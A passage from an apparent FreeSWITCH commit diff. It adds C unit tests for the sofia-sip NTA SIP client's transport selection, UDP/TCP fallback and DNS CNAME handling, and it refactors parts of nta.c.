+#include <sofia-sip/nta.h>
+#include <sofia-sip/nta_tport.h>
+#include <sofia-sip/sip_status.h>
+#include <sofia-sip/sip_header.h>
+#include <sofia-sip/su_tagarg.h>
+#include <sofia-sip/su_tag_io.h>
+#include <sofia-sip/sres_sip.h>
+
+#include <stdlib.h>
+#include <string.h>
+#include <assert.h>
+
+#define NONE ((void *)-1)
+
+static void
+client_setup(void)
+{
+  s2_nta_setup("NTA", NULL, TAG_END());
+  s2_nta_agent_setup(URL_STRING_MAKE("sip:0.0.0.0:*"), NULL, NULL,
+		     NTATAG_DEFAULT_PROXY("sip:example.org"),
+		     TAG_END());
+}
+
+static void
+client_setup_udp_only_server(void)
+{
+  char const * const transports[] = { "udp", NULL };
+
+  s2_nta_setup("NTA", transports, TAG_END());
+  s2_nta_agent_setup(URL_STRING_MAKE("sip:0.0.0.0:*"), NULL, NULL,
+		     NTATAG_DEFAULT_PROXY(s2sip->contact->m_url),
+		     TAG_END());
+}
+
+static void
+client_setup_tcp_only_server(void)
+{
+  char const * const transports[] = { "tcp", NULL };
+
+  s2_nta_setup("NTA", transports, TAG_END());
+  s2_nta_agent_setup(URL_STRING_MAKE("sip:0.0.0.0:*"), NULL, NULL,
+		     NTATAG_DEFAULT_PROXY(s2sip->contact->m_url),
+		     TAG_END());
+}
+
+static void
+client_teardown(void)
+{
+  mark_point();
+  s2_nta_teardown();
+}
+
+START_TEST(client_2_0_0)
+{
+  nta_outgoing_t *orq;
+  struct message *request;
+  struct event *response;
+
+  S2_CASE("client-2.0.0", "Send MESSAGE",
+	  "Basic non-INVITE transaction with outbound proxy");
+
+  orq = nta_outgoing_tcreate(s2->default_leg,
+			     s2_nta_orq_callback, NULL, NULL,
+			     SIP_METHOD_MESSAGE,
+			     URL_STRING_MAKE("sip:test2.0.example.org"),
+			     SIPTAG_FROM_STR("<sip:client@example.net>"),
+			     TAG_END());
+  fail_unless(orq != NULL);
+  request = s2_sip_wait_for_request(SIP_METHOD_MESSAGE);
+  fail_unless(request != NULL);
+  s2_sip_respond_to(request, NULL, 200, "2.0.0", TAG_END());
+  response = s2_nta_wait_for(wait_for_orq, orq,
+			     wait_for_status, 200,
+			     0);
+  s2_sip_free_message(request);
+  s2_nta_free_event(response);
+  nta_outgoing_destroy(orq);
+}
+END_TEST
+
+START_TEST(client_2_0_1)
+{
+  nta_outgoing_t *orq;
+  struct message *request;
+  struct event *response;
+
+  S2_CASE("client-2.0.1", "Send MESSAGE",
+	  "Basic non-INVITE transaction with "
+	  "numeric per-transaction outbound proxy");
+
+  orq = nta_outgoing_tcreate(s2->default_leg,
+			     s2_nta_orq_callback, NULL,
+			     (url_string_t *)s2sip->contact->m_url,
+			     SIP_METHOD_MESSAGE,
+			     URL_STRING_MAKE("sip:test2.0.example.org"),
+			     SIPTAG_FROM_STR("<sip:client@example.net>"),
+			     TAG_END());
+  fail_unless(orq != NULL);
+  request = s2_sip_wait_for_request(SIP_METHOD_MESSAGE);
+  fail_unless(request != NULL);
+  s2_sip_respond_to(request, NULL, 200, "OK 2.0.1", TAG_END());
+  response = s2_nta_wait_for(wait_for_orq, orq,
+			     wait_for_status, 200,
+			     0);
+  s2_sip_free_message(request);
+  s2_nta_free_event(response);
+  nta_outgoing_destroy(orq);
+}
+END_TEST
+
+START_TEST(client_2_0_2)
+{
+  nta_outgoing_t *orq;
+  struct message *request;
+  struct event *response;
+
+  char payload[2048];
+
+  S2_CASE("client-2.0.2", "Send MESSAGE",
+	  "Basic non-INVITE transaction exceeding "
+	  "default path MTU (1300 bytes)");
+
+  memset(payload, 'x', sizeof payload);
+  payload[(sizeof payload) - 1] = '\0';
+
+  orq = nta_outgoing_tcreate(s2->default_leg,
+			     s2_nta_orq_callback, NULL, NULL,
+			     SIP_METHOD_MESSAGE,
+			     URL_STRING_MAKE("sip:test2.0.example.org"),
+			     SIPTAG_FROM_STR("<sip:client@example.net>"),
+			     SIPTAG_PAYLOAD_STR(payload),
+			     TAG_END());
+  fail_unless(orq != NULL);
+  request = s2_sip_wait_for_request(SIP_METHOD_MESSAGE);
+  fail_unless(request != NULL);
+  fail_unless(request->sip->sip_via->v_protocol == sip_transport_tcp);
+
+  s2_sip_respond_to(request, NULL, 200, "OK 2.0.2", TAG_END());
+  response = s2_nta_wait_for(wait_for_orq, orq,
+			     wait_for_status, 200,
+			     0);
+  s2_nta_free_event(response);
+  nta_outgoing_destroy(orq);
+}
+END_TEST
+
+/* ---------------------------------------------------------------------- */
+
+TCase *check_nta_client_2_0(void)
+{
+  TCase *tc = tcase_create("NTA 2.0 - Client");
+
+  tcase_add_checked_fixture(tc, client_setup, client_teardown);
+
+  tcase_set_timeout(tc, 2);
+
+  tcase_add_test(tc, client_2_0_0);
+  tcase_add_test(tc, client_2_0_1);
+  tcase_add_test(tc, client_2_0_2);
+
+  return tc;
+}
+
+/* ---------------------------------------------------------------------- */
+
+START_TEST(client_2_1_0)
+{
+  nta_outgoing_t *orq;
+  struct message *request;
+  struct event *response;
+
+  char payload[2048];
+
+  S2_CASE("client-2.1.0", "Try UDP after trying with TCP",
+	  "TCP connect() is refused");
+
+  memset(payload, 'x', sizeof payload);
+  payload[(sizeof payload) - 1] = '\0';
+
+  client_setup_udp_only_server();
+
+  orq = nta_outgoing_tcreate(s2->default_leg,
+			     s2_nta_orq_callback, NULL, NULL,
+			     SIP_METHOD_MESSAGE,
+			     URL_STRING_MAKE("sip:test2.0.example.org"),
+			     SIPTAG_FROM_STR("<sip:client@example.net>"),
+			     SIPTAG_PAYLOAD_STR(payload),
+			     TAG_END());
+  fail_unless(orq != NULL);
+
+  request = s2_sip_wait_for_request(SIP_METHOD_MESSAGE);
+  fail_unless(request != NULL);
+  fail_unless(request->sip->sip_via->v_protocol == sip_transport_udp);
+  s2_sip_respond_to(request, NULL, 200, "OK", TAG_END());
+  s2_sip_free_message(request);
+
+  response = s2_nta_wait_for(wait_for_orq, orq,
+			     wait_for_status, 200,
+			     0);
+  s2_nta_free_event(response);
+  nta_outgoing_destroy(orq);
+}
+END_TEST
+
+#undef SU_LOG
+
+#include "tport_internal.h"
+
+tport_vtable_t hacked_tcp_vtable;
+
+/* Make TCP connection to 192.168.255.2:9999 */
+static tport_t *
+hacked_tcp_connect(tport_primary_t *pri,
+		   su_addrinfo_t *ai,
+		   tp_name_t const *tpn)
+{
+  su_addrinfo_t fake_ai[1];
+  su_sockaddr_t fake_addr[1];
+  uint32_t fake_ip = htonl(0xc0a8ff02); /* 192.168.255.2 */
+
+  *fake_ai = *ai;
+  assert(ai->ai_addrlen <= (sizeof fake_addr));
+  fake_ai->ai_addr = memcpy(fake_addr, ai->ai_addr, ai->ai_addrlen);
+
+  fake_ai->ai_family = AF_INET;
+  fake_addr->su_family = AF_INET;
+  memcpy(&fake_addr->su_sin.sin_addr, &fake_ip, sizeof fake_ip);
+  fake_addr->su_sin.sin_port = htons(9999);
+
+  return tport_base_connect(pri, fake_ai, ai, tpn);
+}
+
+START_TEST(client_2_1_1)
+{
+  tport_t *tp;
+
+  nta_outgoing_t *orq;
+  struct message *request;
+  struct event *response;
+
+  char payload[2048];
+
+  S2_CASE("client-2.1.1", "Try UDP after trying with TCP",
+	  "TCP connect() times out");
+
+  memset(payload, 'x', sizeof payload);
+  payload[(sizeof payload) - 1] = '\0';
+
+  client_setup_udp_only_server();
+
+  hacked_tcp_vtable = tport_tcp_vtable;
+  hacked_tcp_vtable.vtp_connect = hacked_tcp_connect;
+  fail_unless(tport_tcp_vtable.vtp_connect == NULL);
+
+  for (tp = tport_primaries(nta_agent_tports(s2->nta));
+       tp;
+       tp = tport_next(tp)) {
+    if (tport_is_tcp(tp)) {
+      tp->tp_pri->pri_vtable = &hacked_tcp_vtable;
+      break;
+    }
+  }
+
+  orq = nta_outgoing_tcreate(s2->default_leg,
+			     s2_nta_orq_callback, NULL,
+			     NULL,
+			     SIP_METHOD_MESSAGE,
+			     URL_STRING_MAKE("sip:test2.0.example.org"),
+			     SIPTAG_FROM_STR("<sip:client@example.net>"),
+			     SIPTAG_PAYLOAD_STR(payload),
+			     TAG_END());
+  fail_unless(orq != NULL);
+
+  s2_fast_forward(1, s2->root);
+  s2_fast_forward(1, s2->root);
+  s2_fast_forward(1, s2->root);
+  s2_fast_forward(1, s2->root);
+  s2_fast_forward(1, s2->root);
+
+  request = s2_sip_wait_for_request(SIP_METHOD_MESSAGE);
+  fail_unless(request != NULL);
+  fail_unless(request->sip->sip_via->v_protocol == sip_transport_udp);
+  s2_sip_respond_to(request, NULL, 200, "OK", TAG_END());
+  s2_sip_free_message(request);
+
+  response = s2_nta_wait_for(wait_for_orq, orq,
+			     wait_for_status, 200,
+			     0);
+  s2_nta_free_event(response);
+  nta_outgoing_destroy(orq);
+}
+END_TEST
+
+START_TEST(client_2_1_2)
+{
+  nta_outgoing_t *orq;
+  struct message *request;
+  struct event *response;
+  url_t udpurl[1];
+
+  S2_CASE("client-2.1.2", "Send MESSAGE",
+	  "Non-INVITE transaction to TCP-only server");
+
+  client_setup_tcp_only_server();
+
+  *udpurl = *s2sip->tcp.contact->m_url;
+  udpurl->url_params = "transport=udp";
+
+  /* Create DNS records for both UDP and TCP, resolver matches UDP */
+  s2_dns_domain("udptcp.org", 1,
+		"s2", 1, udpurl,
+		"s2", 2, s2sip->tcp.contact->m_url,
+		NULL);
+
+  /* Sent to tport selected by resolver */
+  orq = nta_outgoing_tcreate(s2->default_leg,
+			     s2_nta_orq_callback, NULL,
+			     URL_STRING_MAKE("sip:udptcp.org"),
+			     SIP_METHOD_MESSAGE,
+			     URL_STRING_MAKE("sip:test2.0.example.org"),
+			     SIPTAG_FROM_STR("<sip:client@example.net>"),
+			     TAG_END());
+  fail_unless(orq != NULL);
+  response = s2_nta_wait_for(wait_for_orq, orq,
+			     wait_for_status, 503,
+			     0);
+  s2_nta_free_event(response);
+  nta_outgoing_destroy(orq);
+
+  /* Message size exceeds 1300, tries to use TCP even if NAPTR points to UDP */
+  orq = nta_outgoing_tcreate(s2->default_leg,
+			     s2_nta_orq_callback, NULL,
+			     URL_STRING_MAKE("sip:udptcp.org"),
+			     SIP_METHOD_MESSAGE,
+			     URL_STRING_MAKE("sip:test2.0.example.org"),
+			     SIPTAG_FROM_STR("<sip:client@example.net>"),
+#define ROW "012345678901234567890123456789012345678901234\n"
+			     SIPTAG_PAYLOAD_STR( /* > 1300 bytes */
+       	       	       	       "0000 " ROW "0050 " ROW
+			       "0100 " ROW "0150 " ROW
+			       "0200 " ROW "0250 " ROW
+			       "0300 " ROW "0350 " ROW
+			       "0400 " ROW "0450 " ROW
+			       "0500 " ROW "0550 " ROW
+			       "0600 " ROW "0650 " ROW
+			       "0700 " ROW "0750 " ROW
+			       "0800 " ROW "0850 " ROW
+			       "0900 " ROW "0950 " ROW
+			       "1000 " ROW "1050 " ROW
+			       "1100 " ROW "1150 " ROW
+       	       	       	       "1200 " ROW "1250 " ROW
+						 ),
+#undef ROW
+			     TAG_END());
+  fail_unless(orq != NULL);
+  request = s2_sip_wait_for_request(SIP_METHOD_MESSAGE);
+  fail_unless(request != NULL);
+  fail_unless(request->sip->sip_via->v_protocol == sip_transport_tcp);
+  s2_sip_respond_to(request, NULL, 200, "2.1.2", TAG_END());
+  s2_sip_free_message(request);
+  response = s2_nta_wait_for(wait_for_orq, orq,
+			     wait_for_status, 200,
+			     0);
+  s2_nta_free_event(response);
+  nta_outgoing_destroy(orq);
+}
+END_TEST
+
+
+TCase *check_nta_client_2_1(void)
+{
+  TCase *tc = tcase_create("NTA 2.1 - Client");
+
+  tcase_add_checked_fixture(tc, NULL, client_teardown);
+
+  tcase_set_timeout(tc, 20);
+
+  tcase_add_test(tc, client_2_1_0);
+  tcase_add_test(tc, client_2_1_1);
+  tcase_add_test(tc, client_2_1_2);
+
+  return tc;
+}
+
+/* ---------------------------------------------------------------------- */
+
+#include <sofia-resolv/sres_record.h>
+
+START_TEST(client_2_2_0)
+{
+  nta_outgoing_t *orq;
+  struct message *request;
+  struct event *response;
+  static tp_name_t const tpn[1] = {{ "*", "*", "*", "5060", NULL, NULL }};
+  static char const * const default_protocols[] = { "udp", "tcp", NULL };
+
+  char proxy[] = "sip:cname.example.org:0000000";
+
+  S2_CASE("client-2.2.0", "Send MESSAGE",
+	  "Basic non-INVITE transaction with target using CNAME");
+  /* Test for sf.net bug #2531152 */
+
+  s2_nta_setup("NTA", NULL, TAG_END());
+
+  fail_unless(s2sip->udp.contact != NULL);
+
+  if (s2sip->udp.contact->m_url->url_port == NULL ||
+      tport_tbind(s2sip->master, tpn, default_protocols,
+		  TPTAG_SERVER(1),
+		  TAG_END()) == -1) {
+    snprintf(proxy, sizeof proxy, "sip:cname.example.org:%s",
+	     s2sip->udp.contact->m_url->url_port);
+  }
+  else {
+    strcpy(proxy, "sip:cname.example.org");
+  }
+
+  s2_dns_default("example.org.");
+
+  s2_dns_record("cname.example.org.", sres_type_a,
+		"", sres_type_cname, "a.example.org.",
+		"a", sres_type_a, s2sip->udp.contact->m_url->url_host,
+		NULL);
+
+  s2_dns_record("cname.example.org.", sres_type_naptr,
+		"", sres_type_cname, "a.example.org.",
+		NULL);
+
+  s2_dns_record("cname.example.org.", sres_type_aaaa,
+		"", sres_type_cname, "a.example.org.",
+		NULL);
+
+  s2_dns_record("a.example.org.", sres_type_a,
+		"", sres_type_a, s2sip->udp.contact->m_url->url_host,
+		NULL);
+
+
+  s2_nta_agent_setup(URL_STRING_MAKE("sip:0.0.0.0:*"), NULL, NULL,
+		     NTATAG_DEFAULT_PROXY(proxy),
+		     TAG_END());
+
+  orq = nta_outgoing_tcreate(s2->default_leg,
+			     s2_nta_orq_callback, NULL, NULL,
+			     SIP_METHOD_MESSAGE,
+			     URL_STRING_MAKE("sip:test2.2.example.org"),
+			     SIPTAG_FROM_STR("<sip:client@example.net>"),
+			     TAG_END());
+  fail_unless(orq != NULL);
+  request = s2_sip_wait_for_request(SIP_METHOD_MESSAGE);
+  fail_unless(request != NULL);
+  s2_sip_respond_to(request, NULL, 200, "2.2.0", TAG_END());
+  response = s2_nta_wait_for(wait_for_orq, orq,
+			     wait_for_status, 200,
+			     0);
+  s2_sip_free_message(request);
+  s2_nta_free_event(response);
+  nta_outgoing_destroy(orq);
+}
+END_TEST
+
+TCase *
+check_nta_client_2_2(void)
+{
+  TCase *tc = tcase_create("NTA 2.2 - Client");
+
+  tcase_add_checked_fixture(tc, NULL, client_teardown);
+
+  tcase_set_timeout(tc, 2);
+
+  tcase_add_test(tc, client_2_2_0);
+
+  return tc;
+}
+

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/nta.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/nta.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/nta.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -41,11 +41,14 @@
  * @author Pekka Pessi <Pekka.Pessi@nokia.com>
  *
  * @date Created: Tue Jun 13 02:57:51 2000 ppessi
+ *
+ * @sa
+ * @RFC3261, @RFC4320
  */
 
 #include "config.h"
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 
 /** @internal SU message argument structure type */
 #define SU_MSG_ARG_T   union sm_arg_u
@@ -71,6 +74,7 @@
 
 #include <sofia-sip/msg_addr.h>
 #include <sofia-sip/msg_parser.h>
+#include <sofia-sip/htable.h>
 
 /* Resolver context type */
 #define SRES_CONTEXT_T    nta_outgoing_t
@@ -167,8 +171,8 @@
   url_t   *sa_default_proxy;	/**< Default outbound proxy */
   unsigned sa_bad_req_mask;     /**< Request error mask */
   unsigned sa_bad_resp_mask;	/**< Response error mask */
-  size_t   sa_maxsize;		/**< Maximum size of incoming messages */
-  size_t   sa_max_proceeding;	/**< Maximum size of proceeding queue */
+  usize_t  sa_maxsize;		/**< Maximum size of incoming messages */
+  usize_t  sa_max_proceeding;	/**< Maximum size of proceeding queue */
 
   unsigned sa_udp_mtu;		/**< Maximum size of outgoing UDP requests */
 
@@ -315,7 +319,7 @@
     outgoing_queue_t  delayed[1];
     outgoing_queue_t  resolving[1];
 
-    outgoing_queue_t  trying[1];	/* Timer F/E */
+    outgoing_queue_t  trying[1];	/* Timer F / Timer E */
     outgoing_queue_t  completed[1];	/* Timer K */
     outgoing_queue_t  terminated[1];
 
@@ -360,6 +364,7 @@
 #else
   unsigned leg_loose_route : 1; /**< Topmost route in set is LR */
 #endif
+  unsigned leg_route_set : 1;	/**< Route set has been saved */
   unsigned leg_local_is_to : 1; /**< Backwards-compatibility. */
   unsigned leg_tagged : 1;	/**< Tagged after creation.
 				 *
@@ -435,6 +440,7 @@
   unsigned irq_reliable_tp:1;	/**< Transport is reliable */
   unsigned irq_sigcomp_zap:1;	/**< Reset SigComp */
   unsigned irq_must_100rel:1;	/**< 100rel is required */
+  unsigned irq_extra_100:1;	/**< 100 Trying should be sent */
   unsigned irq_tag_set:1;	/**< Tag is not from request */
   unsigned :0;
 
@@ -504,23 +510,27 @@
 
   unsigned short      	orq_status;
   unsigned char         orq_retries;    /**< Number of tries this far */
+
   unsigned orq_default:1;	        /**< This is default transaction */
   unsigned orq_inserted:1;
   unsigned orq_resolved:1;
-  unsigned orq_prepared:1; /**< outgoing_prepare() called */
+  unsigned orq_via_added:1;
+  unsigned orq_prepared:1;
   unsigned orq_canceled:1;
   unsigned orq_terminated:1;
   unsigned orq_destroyed:1;
   unsigned orq_completed:1;
   unsigned orq_delayed:1;
-  unsigned orq_stripped_uri:1;
   unsigned orq_user_tport:1;	/**< Application provided tport - don't retry */
   unsigned orq_try_tcp_instead:1;
   unsigned orq_try_udp_instead:1;
   unsigned orq_reliable:1; /**< Transport is reliable */
-  unsigned orq_ack_error:1; /**< ACK is sent by NTA */
 
+  unsigned orq_forked:1;	/**< Tagged fork  */
+
   /* Attributes */
+  unsigned orq_sips:1;
+  unsigned orq_uas:1;		/**< Running this transaction as UAS */
   unsigned orq_user_via:1;
   unsigned orq_stateless:1;
   unsigned orq_pass_100:1;
@@ -534,25 +544,24 @@
 #if HAVE_SOFIA_SRESOLV
   sipdns_resolver_t    *orq_resolver;
 #endif
-  enum nta_res_order_e  orq_res_order;  /**< AAAA/A first? */
-
   url_t                *orq_route;      /**< Route URL */
   tp_name_t             orq_tpn[1];     /**< Where to send request */
-  char const           *orq_scheme;     /**< Transport URL type */
 
   tport_t              *orq_tport;
   struct sigcomp_compartment *orq_cc;
   tagi_t               *orq_tags;       /**< Tport tag items */
-  int                   orq_pending;    /**< Request is pending in tport */
 
   char const           *orq_branch;	/**< Transaction branch */
   char const           *orq_via_branch;	/**< @Via branch */
 
   int                  *orq_status2b;   /**< Delayed response */
 
-  nta_outgoing_t       *orq_cancel;     /**< CANCEL transaction */
+  nta_outgoing_t       *orq_cancel;     /**< Delayed CANCEL transaction */
 
+  nta_outgoing_t       *orq_forking;    /**< Untagged transaction */
+  nta_outgoing_t       *orq_forks;	/**< Tagged transactions */
   uint32_t              orq_rseq;       /**< Latest incoming rseq */
+  int                   orq_pending;    /**< Request is pending in tport */
 };
 
 /* ------------------------------------------------------------------------- */
@@ -693,7 +702,7 @@
 			  msg_t *msg, sip_t *sip, tport_t *tport,
 			  char const *to_tag);
 su_inline int incoming_timestamp(nta_incoming_t *, msg_t *, sip_t *);
-static void incoming_timer(nta_agent_t *);
+static void _nta_incoming_timer(nta_agent_t *);
 
 static nta_reliable_t *reliable_mreply(nta_incoming_t *,
 				       nta_prack_f *, nta_reliable_magic_t *,
@@ -728,7 +737,7 @@
 				     sip_via_t const *v);
 static int outgoing_recv(nta_outgoing_t *orq, int status, msg_t *, sip_t *);
 static void outgoing_default_recv(nta_outgoing_t *, int, msg_t *, sip_t *);
-static void outgoing_timer(nta_agent_t *);
+static void _nta_outgoing_timer(nta_agent_t *);
 static int outgoing_recv_reliable(nta_outgoing_t *orq, msg_t *msg, sip_t *sip);
 
 /* Internal message passing */
@@ -854,7 +863,7 @@
   ta_start(ta, tag, value);
 
   if ((agent = su_home_new(sizeof(*agent)))) {
-    unsigned timer_c;
+    unsigned timer_c = 0, timer_d = 32000;
 
     agent->sa_root = root;
     agent->sa_callback = callback;
@@ -919,6 +928,11 @@
 
     agent->sa_out.re_t1 = &agent->sa_out.re_list;
 
+    if (agent->sa_use_timer_c || !agent->sa_is_a_uas)
+      timer_c = agent->sa_timer_c;
+    if (timer_d < agent->sa_t1x64)
+      timer_d = agent->sa_t1x64;
+
     outgoing_queue_init(agent->sa_out.delayed, 0);
     outgoing_queue_init(agent->sa_out.resolving, 0);
     outgoing_queue_init(agent->sa_out.trying, agent->sa_t1x64); /* F */
@@ -926,10 +940,8 @@
     outgoing_queue_init(agent->sa_out.terminated, 0);
     /* Special queues (states) for outgoing INVITE transactions */
     outgoing_queue_init(agent->sa_out.inv_calling, agent->sa_t1x64); /* B */
-    timer_c = (agent->sa_use_timer_c || !agent->sa_is_a_uas)
-      ? agent->sa_timer_c : 0;
     outgoing_queue_init(agent->sa_out.inv_proceeding, timer_c); /* C */
-    outgoing_queue_init(agent->sa_out.inv_completed, 32000); /* Timer D */
+    outgoing_queue_init(agent->sa_out.inv_completed, timer_d); /* D */
 
     if (leg_htable_resize(agent->sa_home, agent->sa_dialogs, 0) < 0 ||
 	leg_htable_resize(agent->sa_home, agent->sa_defaults, 0) < 0 ||
@@ -1038,11 +1050,14 @@
 	nta_outgoing_t *orq = oht->oht_table[i];
 
 	if (!orq->orq_destroyed)
-	  SU_DEBUG_3(("%s: destroying %s client transaction to <"
+	  SU_DEBUG_3(("%s: destroying %s%s client transaction to <"
 		      URL_PRINT_FORMAT ">\n",
-		      __func__, orq->orq_method_name,
+		      __func__,
+		      (orq->orq_forking || orq->orq_forks) ? "forked " : "forking",
+		      orq->orq_method_name,
 		      URL_PRINT_ARGS(orq->orq_to->a_url)));
 
+	orq->orq_forks = NULL, orq->orq_forking = NULL;
 	outgoing_free(orq);
       }
 
@@ -1126,21 +1141,21 @@
   sip_via_t const *v;
 
   for (v = agent->sa_public_vias; v; v = v->v_next) {
-    if (strcasecmp(via->v_host, v->v_host))
+    if (!su_casematch(via->v_host, v->v_host))
       continue;
-    if (str0cmp(via->v_port, v->v_port))
+    if (!su_strmatch(via->v_port, v->v_port))
       continue;
-    if (strcasecmp(via->v_protocol, v->v_protocol))
+    if (!su_casematch(via->v_protocol, v->v_protocol))
       continue;
     return (sip_via_t *)v;
   }
 
   for (v = agent->sa_vias; v; v = v->v_next) {
-    if (strcasecmp(via->v_host, v->v_host))
+    if (!su_casematch(via->v_host, v->v_host))
       continue;
-    if (str0cmp(via->v_port, v->v_port))
+    if (!su_strmatch(via->v_port, v->v_port))
       continue;
-    if (strcasecmp(via->v_protocol, v->v_protocol))
+    if (!su_casematch(via->v_protocol, v->v_protocol))
       continue;
     return (sip_via_t *)v;
   }
@@ -1165,10 +1180,9 @@
 static int agent_tag_init(nta_agent_t *self)
 {
   sip_contact_t *m = self->sa_contact;
-  uint32_t hash = 1;
+  uint32_t hash = su_random();
 
   if (m) {
-
     if (m->m_url->url_user)
       hash = 914715421U * hash + msg_hash_string(m->m_url->url_user);
     if (m->m_url->url_host)
@@ -1182,7 +1196,7 @@
   if (hash == 0)
     hash = 914715421U;
 
-  self->sa_branch = NTA_BRANCH_PRIME * su_ntp_now();
+  self->sa_branch = NTA_BRANCH_PRIME * (uint64_t)su_nanotime(NULL);
   self->sa_branch *= hash;
 
   self->sa_tags = NTA_TAG_PRIME * self->sa_branch;
@@ -1221,8 +1235,8 @@
   agent->sa_millisec = now;
   agent->sa_in_timer = 1;
 
-  outgoing_timer(agent);
-  incoming_timer(agent);
+  _nta_outgoing_timer(agent);
+  _nta_incoming_timer(agent);
 
   /* agent->sa_now is used only if sa_millisec != 0 */
   agent->sa_millisec = 0;
@@ -1440,6 +1454,7 @@
   unsigned sip_t4     = agent->sa_t4;
   unsigned sip_t1x64  = agent->sa_t1x64;
   unsigned timer_c    = agent->sa_timer_c;
+  unsigned timer_d    = 32000;
   unsigned graylist   = agent->sa_graylist;
   unsigned blacklist  = agent->sa_blacklist;
   int ua              = agent->sa_is_a_uas;
@@ -1533,12 +1548,13 @@
 
   m = 0;
   for (tport = agent->sa_tports; tport; tport = tport_next(tport)) {
-    m = tport_set_params(tport, TAG_NEXT(tags));
+    int m0 = tport_set_params(tport, TAG_NEXT(tags));
+    if (m0 < 0)
+      return m0;
+    if (m0 > m)
+      m = m0;
   }
 
-  if (m == -1)
-    return m;
-
   n += m;
 
   if (aliases != NONE) {
@@ -1570,7 +1586,7 @@
   if (algorithm != NONE)
     agent->sa_algorithm = su_strdup(home, algorithm);
 
-  if (str0cmp(sigcomp, agent->sa_sigcomp_options)) {
+  if (!su_strmatch(sigcomp, agent->sa_sigcomp_options)) {
     msg_param_t const *l = NULL;
     char *s = su_strdup(home, sigcomp);
     char *s1 = su_strdup(home, s), *s2 = s1;
@@ -1593,7 +1609,7 @@
   if (maxsize > UINT32_MAX) maxsize = UINT32_MAX;
   agent->sa_maxsize = maxsize;
 
-  if (max_proceeding == 0) max_proceeding = UINT32_MAX;
+  if (max_proceeding == 0) max_proceeding = USIZE_MAX;
   agent->sa_max_proceeding = max_proceeding;
 
   if (max_forwards == 0) max_forwards = 70; /* Default value */
@@ -1639,6 +1655,9 @@
     agent->sa_timer_c = timer_c;
     outgoing_queue_adjust(agent, agent->sa_out.inv_proceeding, timer_c);
   }
+  if (timer_d < sip_t1x64)
+    timer_d = sip_t1x64;
+  outgoing_queue_adjust(agent, agent->sa_out.inv_completed, timer_d);
 
   if (graylist > 24 * 60 * 60)
     graylist = 24 * 60 * 60;
@@ -2082,7 +2101,7 @@
  * and how they are preferred. If no protocol is specified, both UDP and TCP
  * are used for SIP URL and TLS for SIPS URL. The preference can be
  * indicated with a comma-separated list of transports, for instance,
- * parameter @code transport=tcp,udp @endocde indicates that TCP is
+ * parameter @code transport=tcp,udp @endcode indicates that TCP is
  * preferred to UDP.
  *
  * The "maddr" parameter determines to which address the stack binds in
@@ -2091,7 +2110,7 @@
  * are created. [::] means that only IPv6 sockets are created.
  *
  * The "comp" parameter determines the supported compression protocol.
- * Currently only sigcomp is supported (with suitable library.
+ * Currently only sigcomp is supported (with suitable library).
  *
  * @par Examples:
  * @code sip:172.21.40.24;maddr=* @endcode \n
@@ -2181,7 +2200,7 @@
 
     if (tpn->tpn_comp &&
 	(nta_compressor_vtable == NULL ||
-	 strcasecmp(tpn->tpn_comp, nta_compressor_vtable->ncv_name) != 0)) {
+	 !su_casematch(tpn->tpn_comp, nta_compressor_vtable->ncv_name))) {
       SU_DEBUG_1(("nta(%p): comp=%s not supported for " URL_PRINT_FORMAT "\n",
 		  (void *)self, tpn->tpn_comp, URL_PRINT_ARGS(url)));
     }
@@ -2308,11 +2327,11 @@
     if (tport_has_ip6(tp)) self->sa_tport_ip6 = 1;
 #endif
 
-    if (strcasecmp(tpn->tpn_proto, "udp") == 0)
+    if (su_casematch(tpn->tpn_proto, "udp"))
       self->sa_tport_udp = 1;
-    else if (strcasecmp(tpn->tpn_proto, "tcp") == 0)
+    else if (su_casematch(tpn->tpn_proto, "tcp"))
       self->sa_tport_tcp = 1;
-    else if (strcasecmp(tpn->tpn_proto, "sctp") == 0)
+    else if (su_casematch(tpn->tpn_proto, "sctp"))
       self->sa_tport_sctp = 1;
 
     if (tport_has_tls(tp)) self->sa_tport_tls = 1;
@@ -2330,7 +2349,7 @@
 
       if (su) {
 	su_inet_ntop(su->su_family, SU_ADDR(su), host, sizeof host);
-	maddr = use_maddr && strcasecmp(canon, host) != 0;
+	maddr = use_maddr && !su_casematch(canon, host);
 	port = ntohs(su->su_port);
       }
       else {
@@ -2340,9 +2359,9 @@
 	port = 0;
       }
 
-      if (strncasecmp(tpn->tpn_proto, "tls", 3)
-	  ? port == SIP_DEFAULT_PORT
-	  : port == SIPS_DEFAULT_PORT)
+      if (su_casenmatch(tpn->tpn_proto, "tls", 3)
+	  ? port == SIPS_DEFAULT_PORT
+	  : port == SIP_DEFAULT_PORT)
 	port = 0;
 
       snprintf(sport, sizeof sport, ":%u", port);
@@ -2471,15 +2490,15 @@
   v2 = v1->v_next;
 
   if (v2 &&
-      strcasecmp(v1->v_host, v2->v_host) == 0 &&
-      str0casecmp(v1->v_port, v2->v_port) == 0) {
+      su_casematch(v1->v_host, v2->v_host) &&
+      su_casematch(v1->v_port, v2->v_port)) {
     char const *p1 = v1->v_protocol, *p2 = v2->v_protocol;
 
-    if (strcasecmp(p1, sip_transport_udp))
+    if (!su_casematch(p1, sip_transport_udp))
       p1 = v2->v_protocol, p2 = v1->v_protocol;
 
-    if (strcasecmp(p1, sip_transport_udp) == 0 &&
-	strcasecmp(p2, sip_transport_tcp) == 0)
+    if (su_casematch(p1, sip_transport_udp) &&
+	su_casematch(p2, sip_transport_tcp))
       /* Do not include transport if we have both UDP and TCP */
       tp = NULL;
   }
@@ -2490,6 +2509,8 @@
   if (!self->sa_contact)
     return -1;
 
+  agent_tag_init(self);
+
   return 0;
 }
 
@@ -2512,19 +2533,22 @@
   msg_t *msg = orq->orq_request;
   sip_t *sip = sip_object(msg);
   char const *branch = orq->orq_via_branch;
+  int already = orq->orq_user_via || orq->orq_via_added;
   int user_via = orq->orq_user_via;
   sip_via_t *v;
   int clear = 0;
 
   assert(sip); assert(via);
 
-  if (user_via && sip->sip_via) {
-    /* Use existing @Via provided by application */
+  if (already && sip->sip_via) {
+    /* Use existing @Via */
     v = sip->sip_via;
   }
   else if (msg && via && sip->sip_request &&
 	   (v = sip_via_copy(msg_home(msg), via))) {
